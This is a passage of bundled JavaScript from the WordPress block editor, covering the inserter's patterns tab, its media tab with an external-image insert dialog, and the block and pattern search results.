43361 transition: defaultTransition,
43362 children
43363 }
43364 )
43365 },
43366 category.name
43367 ))
43368 ]
43369 }
43370 );
43371}
43372var category_tabs_default = CategoryTabs;
43373
43374
43375;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/block-patterns-tab/index.js
43376
43377
43378
43379
43380
43381
43382
43383
43384
43385
43386
43387function BlockPatternsTab({
43388 onSelectCategory,
43389 selectedCategory,
43390 onInsert,
43391 rootClientId,
43392 children
43393}) {
43394 const [showPatternsExplorer, setShowPatternsExplorer] = (0,external_wp_element_namespaceObject.useState)(false);
43395 const categories = usePatternCategories(rootClientId);
43396 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
43397 if (!categories.length) {
43398 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results_default, {});
43399 }
43400 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43401 !isMobile && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-inserter__block-patterns-tabs-container", children: [
43402 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43403 category_tabs_default,
43404 {
43405 categories,
43406 selectedCategory,
43407 onSelectCategory,
43408 children
43409 }
43410 ),
43411 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43412 external_wp_components_namespaceObject.Button,
43413 {
43414 __next40pxDefaultSize: true,
43415 className: "block-editor-inserter__patterns-explore-button",
43416 onClick: () => setShowPatternsExplorer(true),
43417 variant: "secondary",
43418 children: (0,external_wp_i18n_namespaceObject.__)("Explore all patterns")
43419 }
43420 )
43421 ] }),
43422 isMobile && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileTabNavigation, { categories, children: (category) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__category-panel", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43423 PatternCategoryPreviews,
43424 {
43425 onInsert,
43426 rootClientId,
43427 category
43428 },
43429 category.name
43430 ) }) }),
43431 showPatternsExplorer && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43432 block_patterns_explorer_default,
43433 {
43434 initialCategory: selectedCategory || categories[0],
43435 patternCategories: categories,
43436 onModalClose: () => setShowPatternsExplorer(false),
43437 rootClientId
43438 }
43439 )
43440 ] });
43441}
43442var block_patterns_tab_default = BlockPatternsTab;
43443
43444
43445;// ./node_modules/@wordpress/icons/build-module/library/external.js
43446
43447
43448var external_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z" }) });
43449
43450
43451;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/media-tab/utils.js
43452
43453
43454const mediaTypeTag = { image: "img", video: "video", audio: "audio" };
43455function getBlockAndPreviewFromMedia(media, mediaType) {
43456 const attributes = {
43457 id: media.id || void 0,
43458 caption: media.caption || void 0
43459 };
43460 const mediaSrc = media.url;
43461 const alt = media.alt || void 0;
43462 if (mediaType === "image") {
43463 attributes.url = mediaSrc;
43464 attributes.alt = alt;
43465 } else if (["video", "audio"].includes(mediaType)) {
43466 attributes.src = mediaSrc;
43467 }
43468 const PreviewTag = mediaTypeTag[mediaType];
43469 const preview = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43470 PreviewTag,
43471 {
43472 src: media.previewUrl || mediaSrc,
43473 alt,
43474 controls: mediaType === "audio" ? true : void 0,
43475 inert: "true",
43476 onError: ({ currentTarget }) => {
43477 if (currentTarget.src === media.previewUrl) {
43478 currentTarget.src = mediaSrc;
43479 }
43480 }
43481 }
43482 );
43483 return [(0,external_wp_blocks_namespaceObject.createBlock)(`core/${mediaType}`, attributes), preview];
43484}
43485
43486
43487;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/media-tab/media-preview.js
43488
43489
43490
43491
43492
43493
43494
43495
43496
43497
43498
43499
43500
43501
43502const ALLOWED_MEDIA_TYPES = ["image"];
43503const MEDIA_OPTIONS_POPOVER_PROPS = {
43504 placement: "bottom-end",
43505 className: "block-editor-inserter__media-list__item-preview-options__popover"
43506};
43507function MediaPreviewOptions({ category, media }) {
43508 if (!category.getReportUrl) {
43509 return null;
43510 }
43511 const reportUrl = category.getReportUrl(media);
43512 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43513 external_wp_components_namespaceObject.DropdownMenu,
43514 {
43515 className: "block-editor-inserter__media-list__item-preview-options",
43516 label: (0,external_wp_i18n_namespaceObject.__)("Options"),
43517 popoverProps: MEDIA_OPTIONS_POPOVER_PROPS,
43518 icon: more_vertical_default,
43519 children: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43520 external_wp_components_namespaceObject.MenuItem,
43521 {
43522 onClick: () => window.open(reportUrl, "_blank").focus(),
43523 icon: external_default,
43524 children: (0,external_wp_i18n_namespaceObject.sprintf)(
43525 /* translators: %s: The media type to report e.g: "image", "video", "audio" */
43526 (0,external_wp_i18n_namespaceObject.__)("Report %s"),
43527 category.mediaType
43528 )
43529 }
43530 ) })
43531 }
43532 );
43533}
43534function InsertExternalImageModal({ onClose, onSubmit }) {
43535 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
43536 external_wp_components_namespaceObject.Modal,
43537 {
43538 title: (0,external_wp_i18n_namespaceObject.__)("Insert external image"),
43539 onRequestClose: onClose,
43540 className: "block-editor-inserter-media-tab-media-preview-inserter-external-image-modal",
43541 children: [
43542 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
43543 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
43544 "This image cannot be uploaded to your Media Library, but it can still be inserted as an external image."
43545 ) }),
43546 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
43547 "External images can be removed by the external provider without warning and could even have legal compliance issues related to privacy legislation."
43548 ) })
43549 ] }),
43550 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
43551 external_wp_components_namespaceObject.Flex,
43552 {
43553 className: "block-editor-block-lock-modal__actions",
43554 justify: "flex-end",
43555 expanded: false,
43556 children: [
43557 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43558 external_wp_components_namespaceObject.Button,
43559 {
43560 __next40pxDefaultSize: true,
43561 variant: "tertiary",
43562 onClick: onClose,
43563 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
43564 }
43565 ) }),
43566 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43567 external_wp_components_namespaceObject.Button,
43568 {
43569 __next40pxDefaultSize: true,
43570 variant: "primary",
43571 onClick: onSubmit,
43572 children: (0,external_wp_i18n_namespaceObject.__)("Insert")
43573 }
43574 ) })
43575 ]
43576 }
43577 )
43578 ]
43579 }
43580 );
43581}
43582function MediaPreview({ media, onClick, category }) {
43583 const [showExternalUploadModal, setShowExternalUploadModal] = (0,external_wp_element_namespaceObject.useState)(false);
43584 const [isHovered, setIsHovered] = (0,external_wp_element_namespaceObject.useState)(false);
43585 const [isInserting, setIsInserting] = (0,external_wp_element_namespaceObject.useState)(false);
43586 const [block, preview] = (0,external_wp_element_namespaceObject.useMemo)(
43587 () => getBlockAndPreviewFromMedia(media, category.mediaType),
43588 [media, category.mediaType]
43589 );
43590 const { createErrorNotice, createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
43591 const { getSettings, getBlock } = (0,external_wp_data_namespaceObject.useSelect)(store);
43592 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
43593 const onMediaInsert = (0,external_wp_element_namespaceObject.useCallback)(
43594 (previewBlock) => {
43595 if (isInserting) {
43596 return;
43597 }
43598 const settings = getSettings();
43599 const clonedBlock = (0,external_wp_blocks_namespaceObject.cloneBlock)(previewBlock);
43600 const { id, url, caption } = clonedBlock.attributes;
43601 if (!id && !settings.mediaUpload) {
43602 setShowExternalUploadModal(true);
43603 return;
43604 }
43605 if (!!id) {
43606 onClick(clonedBlock);
43607 return;
43608 }
43609 setIsInserting(true);
43610 window.fetch(url).then((response) => response.blob()).then((blob) => {
43611 const fileName = (0,external_wp_url_namespaceObject.getFilename)(url) || "image.jpg";
43612 const file = new File([blob], fileName, {
43613 type: blob.type
43614 });
43615 settings.mediaUpload({
43616 filesList: [file],
43617 additionalData: { caption },
43618 onFileChange([img]) {
43619 if ((0,external_wp_blob_namespaceObject.isBlobURL)(img.url)) {
43620 return;
43621 }
43622 if (!getBlock(clonedBlock.clientId)) {
43623 onClick({
43624 ...clonedBlock,
43625 attributes: {
43626 ...clonedBlock.attributes,
43627 id: img.id,
43628 url: img.url
43629 }
43630 });
43631 createSuccessNotice(
43632 (0,external_wp_i18n_namespaceObject.__)("Image uploaded and inserted."),
43633 { type: "snackbar", id: "inserter-notice" }
43634 );
43635 } else {
43636 updateBlockAttributes(clonedBlock.clientId, {
43637 ...clonedBlock.attributes,
43638 id: img.id,
43639 url: img.url
43640 });
43641 }
43642 setIsInserting(false);
43643 },
43644 allowedTypes: ALLOWED_MEDIA_TYPES,
43645 onError(message) {
43646 createErrorNotice(message, {
43647 type: "snackbar",
43648 id: "inserter-notice"
43649 });
43650 setIsInserting(false);
43651 }
43652 });
43653 }).catch(() => {
43654 setShowExternalUploadModal(true);
43655 setIsInserting(false);
43656 });
43657 },
43658 [
43659 isInserting,
43660 getSettings,
43661 onClick,
43662 createSuccessNotice,
43663 updateBlockAttributes,
43664 createErrorNotice,
43665 getBlock
43666 ]
43667 );
43668 const title = typeof media.title === "string" ? media.title : media.title?.rendered || (0,external_wp_i18n_namespaceObject.__)("no title");
43669 const onMouseEnter = (0,external_wp_element_namespaceObject.useCallback)(() => setIsHovered(true), []);
43670 const onMouseLeave = (0,external_wp_element_namespaceObject.useCallback)(() => setIsHovered(false), []);
43671 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43672 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inserter_draggable_blocks_default, { isEnabled: true, blocks: [block], children: ({ draggable, onDragStart, onDragEnd }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43673 "div",
43674 {
43675 className: dist_clsx(
43676 "block-editor-inserter__media-list__list-item",
43677 {
43678 "is-hovered": isHovered
43679 }
43680 ),
43681 draggable,
43682 onDragStart,
43683 onDragEnd,
43684 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
43685 "div",
43686 {
43687 onMouseEnter,
43688 onMouseLeave,
43689 children: [
43690 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: title, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43691 external_wp_components_namespaceObject.Composite.Item,
43692 {
43693 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43694 "div",
43695 {
43696 "aria-label": title,
43697 role: "option",
43698 className: "block-editor-inserter__media-list__item"
43699 }
43700 ),
43701 onClick: () => onMediaInsert(block),
43702 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-inserter__media-list__item-preview", children: [
43703 preview,
43704 isInserting && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__media-list__item-preview-spinner", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) })
43705 ] })
43706 }
43707 ) }),
43708 !isInserting && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43709 MediaPreviewOptions,
43710 {
43711 category,
43712 media
43713 }
43714 )
43715 ]
43716 }
43717 )
43718 }
43719 ) }),
43720 showExternalUploadModal && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43721 InsertExternalImageModal,
43722 {
43723 onClose: () => setShowExternalUploadModal(false),
43724 onSubmit: () => {
43725 onClick((0,external_wp_blocks_namespaceObject.cloneBlock)(block));
43726 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Image inserted."), {
43727 type: "snackbar",
43728 id: "inserter-notice"
43729 });
43730 setShowExternalUploadModal(false);
43731 }
43732 }
43733 )
43734 ] });
43735}
43736
43737
43738;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/media-tab/media-list.js
43739
43740
43741
43742
43743function MediaList({
43744 mediaList,
43745 category,
43746 onClick,
43747 label = (0,external_wp_i18n_namespaceObject.__)("Media List")
43748}) {
43749 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43750 external_wp_components_namespaceObject.Composite,
43751 {
43752 role: "listbox",
43753 className: "block-editor-inserter__media-list",
43754 "aria-label": label,
43755 children: mediaList.map((media, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43756 MediaPreview,
43757 {
43758 media,
43759 category,
43760 onClick
43761 },
43762 media.id || media.sourceId || index
43763 ))
43764 }
43765 );
43766}
43767var media_list_default = MediaList;
43768
43769
43770;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/media-tab/hooks.js
43771
43772
43773
43774
43775function useMediaResults(category, query = {}) {
43776 const [mediaList, setMediaList] = (0,external_wp_element_namespaceObject.useState)();
43777 const [isLoading, setIsLoading] = (0,external_wp_element_namespaceObject.useState)(false);
43778 const lastRequestRef = (0,external_wp_element_namespaceObject.useRef)();
43779 (0,external_wp_element_namespaceObject.useEffect)(() => {
43780 (async () => {
43781 const key = JSON.stringify({
43782 category: category.name,
43783 ...query
43784 });
43785 lastRequestRef.current = key;
43786 setIsLoading(true);
43787 setMediaList([]);
43788 const _media = await category.fetch?.(query);
43789 if (key === lastRequestRef.current) {
43790 setMediaList(_media);
43791 setIsLoading(false);
43792 }
43793 })();
43794 }, [category.name, ...Object.values(query)]);
43795 return { mediaList, isLoading };
43796}
43797function useMediaCategories(rootClientId) {
43798 const [categories, setCategories] = (0,external_wp_element_namespaceObject.useState)([]);
43799 const inserterMediaCategories = (0,external_wp_data_namespaceObject.useSelect)(
43800 (select) => unlock(select(store)).getInserterMediaCategories(),
43801 []
43802 );
43803 const { canInsertImage, canInsertVideo, canInsertAudio } = (0,external_wp_data_namespaceObject.useSelect)(
43804 (select) => {
43805 const { canInsertBlockType } = select(store);
43806 return {
43807 canInsertImage: canInsertBlockType(
43808 "core/image",
43809 rootClientId
43810 ),
43811 canInsertVideo: canInsertBlockType(
43812 "core/video",
43813 rootClientId
43814 ),
43815 canInsertAudio: canInsertBlockType(
43816 "core/audio",
43817 rootClientId
43818 )
43819 };
43820 },
43821 [rootClientId]
43822 );
43823 (0,external_wp_element_namespaceObject.useEffect)(() => {
43824 (async () => {
43825 const _categories = [];
43826 if (!inserterMediaCategories) {
43827 return;
43828 }
43829 const categoriesHaveMedia = new Map(
43830 await Promise.all(
43831 inserterMediaCategories.map(async (category) => {
43832 if (category.isExternalResource) {
43833 return [category.name, true];
43834 }
43835 let results = [];
43836 try {
43837 results = await category.fetch({
43838 per_page: 1
43839 });
43840 } catch (e) {
43841 }
43842 return [category.name, !!results.length];
43843 })
43844 )
43845 );
43846 const canInsertMediaType = {
43847 image: canInsertImage,
43848 video: canInsertVideo,
43849 audio: canInsertAudio
43850 };
43851 inserterMediaCategories.forEach((category) => {
43852 if (canInsertMediaType[category.mediaType] && categoriesHaveMedia.get(category.name)) {
43853 _categories.push(category);
43854 }
43855 });
43856 if (!!_categories.length) {
43857 setCategories(_categories);
43858 }
43859 })();
43860 }, [
43861 canInsertImage,
43862 canInsertVideo,
43863 canInsertAudio,
43864 inserterMediaCategories
43865 ]);
43866 return categories;
43867}
43868
43869
43870;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/media-tab/media-panel.js
43871
43872
43873
43874
43875
43876
43877
43878const INITIAL_MEDIA_ITEMS_PER_PAGE = 10;
43879function MediaCategoryPanel({ rootClientId, onInsert, category }) {
43880 const [search, setSearch, debouncedSearch] = (0,external_wp_compose_namespaceObject.useDebouncedInput)();
43881 const { mediaList, isLoading } = useMediaResults(category, {
43882 per_page: !!debouncedSearch ? 20 : INITIAL_MEDIA_ITEMS_PER_PAGE,
43883 search: debouncedSearch
43884 });
43885 const baseCssClass = "block-editor-inserter__media-panel";
43886 const searchLabel = category.labels.search_items || (0,external_wp_i18n_namespaceObject.__)("Search");
43887 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: baseCssClass, children: [
43888 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43889 external_wp_components_namespaceObject.SearchControl,
43890 {
43891 __nextHasNoMarginBottom: true,
43892 className: `${baseCssClass}-search`,
43893 onChange: setSearch,
43894 value: search,
43895 label: searchLabel,
43896 placeholder: searchLabel
43897 }
43898 ),
43899 isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: `${baseCssClass}-spinner`, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }),
43900 !isLoading && !mediaList?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results_default, {}),
43901 !isLoading && !!mediaList?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43902 media_list_default,
43903 {
43904 rootClientId,
43905 onClick: onInsert,
43906 mediaList,
43907 category
43908 }
43909 )
43910 ] });
43911}
43912
43913
43914;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/media-tab/media-tab.js
43915
43916
43917
43918
43919
43920
43921
43922
43923
43924
43925
43926
43927
43928const media_tab_ALLOWED_MEDIA_TYPES = ["image", "video", "audio"];
43929function MediaTab({
43930 rootClientId,
43931 selectedCategory,
43932 onSelectCategory,
43933 onInsert,
43934 children
43935}) {
43936 const mediaCategories = useMediaCategories(rootClientId);
43937 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
43938 const baseCssClass = "block-editor-inserter__media-tabs";
43939 const onSelectMedia = (0,external_wp_element_namespaceObject.useCallback)(
43940 (media) => {
43941 if (!media?.url) {
43942 return;
43943 }
43944 const [block] = getBlockAndPreviewFromMedia(media, media.type);
43945 onInsert(block);
43946 },
43947 [onInsert]
43948 );
43949 const categories = (0,external_wp_element_namespaceObject.useMemo)(
43950 () => mediaCategories.map((mediaCategory) => ({
43951 ...mediaCategory,
43952 label: mediaCategory.labels.name
43953 })),
43954 [mediaCategories]
43955 );
43956 if (!categories.length) {
43957 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results_default, {});
43958 }
43959 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43960 !isMobile && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: `${baseCssClass}-container`, children: [
43961 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43962 category_tabs_default,
43963 {
43964 categories,
43965 selectedCategory,
43966 onSelectCategory,
43967 children
43968 }
43969 ),
43970 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43971 media_upload_default,
43972 {
43973 multiple: false,
43974 onSelect: onSelectMedia,
43975 allowedTypes: media_tab_ALLOWED_MEDIA_TYPES,
43976 render: ({ open }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43977 external_wp_components_namespaceObject.Button,
43978 {
43979 __next40pxDefaultSize: true,
43980 onClick: (event) => {
43981 event.target.focus();
43982 open();
43983 },
43984 className: "block-editor-inserter__media-library-button",
43985 variant: "secondary",
43986 "data-unstable-ignore-focus-outside-for-relatedtarget": ".media-modal",
43987 children: (0,external_wp_i18n_namespaceObject.__)("Open Media Library")
43988 }
43989 )
43990 }
43991 ) })
43992 ] }),
43993 isMobile && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileTabNavigation, { categories, children: (category) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43994 MediaCategoryPanel,
43995 {
43996 onInsert,
43997 rootClientId,
43998 category
43999 }
44000 ) })
44001 ] });
44002}
44003var media_tab_default = MediaTab;
44004
44005
44006;// ./node_modules/@wordpress/block-editor/build-module/components/inserter-menu-extension/index.js
44007
44008const { Fill: __unstableInserterMenuExtension, Slot } = (0,external_wp_components_namespaceObject.createSlotFill)(
44009 "__unstableInserterMenuExtension"
44010);
44011__unstableInserterMenuExtension.Slot = Slot;
44012var inserter_menu_extension_default = __unstableInserterMenuExtension;
44013
44014
44015;// ./node_modules/@wordpress/block-editor/build-module/utils/order-inserter-block-items.js
44016const orderInserterBlockItems = (items, priority) => {
44017 if (!priority) {
44018 return items;
44019 }
44020 items.sort(({ id: aName }, { id: bName }) => {
44021 let aIndex = priority.indexOf(aName);
44022 let bIndex = priority.indexOf(bName);
44023 if (aIndex < 0) {
44024 aIndex = priority.length;
44025 }
44026 if (bIndex < 0) {
44027 bIndex = priority.length;
44028 }
44029 return aIndex - bIndex;
44030 });
44031 return items;
44032};
44033
44034
44035;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/search-results.js
44036
44037
44038
44039
44040
44041
44042
44043
44044
44045
44046
44047
44048
44049
44050
44051
44052
44053
44054
44055
44056const INITIAL_INSERTER_RESULTS = 9;
44057const search_results_EMPTY_ARRAY = [];
44058function InserterSearchResults({
44059 filterValue,
44060 onSelect,
44061 onHover,
44062 onHoverPattern,
44063 rootClientId,
44064 clientId,
44065 isAppender,
44066 __experimentalInsertionIndex,
44067 maxBlockPatterns,
44068 maxBlockTypes,
44069 showBlockDirectory = false,
44070 isDraggable = true,
44071 shouldFocusBlock = true,
44072 prioritizePatterns,
44073 selectBlockOnInsert,
44074 isQuick
44075}) {
44076 const debouncedSpeak = (0,external_wp_compose_namespaceObject.useDebounce)(external_wp_a11y_namespaceObject.speak, 500);
44077 const { prioritizedBlocks } = (0,external_wp_data_namespaceObject.useSelect)(
44078 (select) => {
44079 const blockListSettings = select(store).getBlockListSettings(rootClientId);
44080 return {
44081 prioritizedBlocks: blockListSettings?.prioritizedInserterBlocks || search_results_EMPTY_ARRAY
44082 };
44083 },
44084 [rootClientId]
44085 );
44086 const [destinationRootClientId, onInsertBlocks] = use_insertion_point_default({
44087 onSelect,
44088 rootClientId,
44089 clientId,
44090 isAppender,
44091 insertionIndex: __experimentalInsertionIndex,
44092 shouldFocusBlock,
44093 selectBlockOnInsert
44094 });
44095 const [
44096 blockTypes,
44097 blockTypeCategories,
44098 blockTypeCollections,
44099 onSelectBlockType
44100 ] = use_block_types_state_default(destinationRootClientId, onInsertBlocks, isQuick);
44101 const [patterns, , onClickPattern] = use_patterns_state_default(
44102 onInsertBlocks,
44103 destinationRootClientId,
44104 void 0,
44105 isQuick
44106 );
44107 const filteredBlockPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => {
44108 if (maxBlockPatterns === 0) {
44109 return [];
44110 }
44111 const results = searchItems(patterns, filterValue);
44112 return maxBlockPatterns !== void 0 ? results.slice(0, maxBlockPatterns) : results;
44113 }, [filterValue, patterns, maxBlockPatterns]);
44114 let maxBlockTypesToShow = maxBlockTypes;
44115 if (prioritizePatterns && filteredBlockPatterns.length > 2) {
44116 maxBlockTypesToShow = 0;
44117 }
44118 const filteredBlockTypes = (0,external_wp_element_namespaceObject.useMemo)(() => {
44119 if (maxBlockTypesToShow === 0) {
44120 return [];
44121 }
44122 const nonPatternBlockTypes = blockTypes.filter(
44123 (blockType) => blockType.name !== "core/block"
44124 );
44125 let orderedItems = orderBy(nonPatternBlockTypes, "frecency", "desc");
44126 if (!filterValue && prioritizedBlocks.length) {
44127 orderedItems = orderInserterBlockItems(
44128 orderedItems,
44129 prioritizedBlocks
44130 );
44131 }
44132 const results = searchBlockItems(
44133 orderedItems,
44134 blockTypeCategories,
44135 blockTypeCollections,
44136 filterValue
44137 );
44138 return maxBlockTypesToShow !== void 0 ? results.slice(0, maxBlockTypesToShow) : results;
44139 }, [
44140 filterValue,
44141 blockTypes,
44142 blockTypeCategories,
44143 blockTypeCollections,
44144 maxBlockTypesToShow,
44145 prioritizedBlocks
44146 ]);
44147 (0,external_wp_element_namespaceObject.useEffect)(() => {
44148 if (!filterValue) {
44149 return;
44150 }
44151 const count = filteredBlockTypes.length + filteredBlockPatterns.length;
44152 const resultsFoundMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
44153 /* translators: %d: number of results. */
44154 (0,external_wp_i18n_namespaceObject._n)("%d result found.", "%d results found.", count),
44155 count
44156 );
44157 debouncedSpeak(resultsFoundMessage);
44158 }, [
44159 filterValue,
44160 debouncedSpeak,
44161 filteredBlockTypes,
44162 filteredBlockPatterns
44163 ]);
44164 const currentShownBlockTypes = (0,external_wp_compose_namespaceObject.useAsyncList)(filteredBlockTypes, {
44165 step: INITIAL_INSERTER_RESULTS
44166 });
44167 const hasItems = filteredBlockTypes.length > 0 || filteredBlockPatterns.length > 0;
44168 const blocksUI = !!filteredBlockTypes.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44169 panel_default,
44170 {
44171 title: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { children: (0,external_wp_i18n_namespaceObject.__)("Blocks") }),
44172 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44173 block_types_list_default,
44174 {
44175 items: currentShownBlockTypes,
44176 onSelect: onSelectBlockType,
44177 onHover,
44178 label: (0,external_wp_i18n_namespaceObject.__)("Blocks"),
44179 isDraggable
44180 }
44181 )
44182 }
44183 );
44184 const patternsUI = !!filteredBlockPatterns.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44185 panel_default,
44186 {
44187 title: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { children: (0,external_wp_i18n_namespaceObject.__)("Block patterns") }),
44188 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__quick-inserter-patterns", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44189 block_patterns_list_default,
44190 {
44191 blockPatterns: filteredBlockPatterns,
44192 onClickPattern,
44193 onHover: onHoverPattern,
44194 isDraggable
44195 }
44196 ) })
44197 }
44198 );
44199 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(inserter_listbox_default, { children: [
44200 !showBlockDirectory && !hasItems && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results_default, {}),
44201 prioritizePatterns ? patternsUI : blocksUI,
44202 !!filteredBlockTypes.length && !!filteredBlockPatterns.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__quick-inserter-separator" }),
44203 prioritizePatterns ? blocksUI : patternsUI,
44204 showBlockDirectory && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44205 inserter_menu_extension_default.Slot,
44206 {
44207 fillProps: {
44208 onSelect: onSelectBlockType,
44209 onHover,
44210 filterValue,
44211 hasItems,
44212 rootClientId: destinationRootClientId
44213 },
44214 children: (fills) => {
44215 if (fills.length) {
44216 return fills;
44217 }
44218 if (!hasItems) {
44219 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results_default, {});
44220 }
44221 return null;
44222 }
44223 }
44224 )
44225 ] });
44226}
44227var search_results_search_results_default = InserterSearchResults;
44228
44229
44230;// ./node_modules/@wordpress/icons/build-module/library/close-small.js
44231
44232
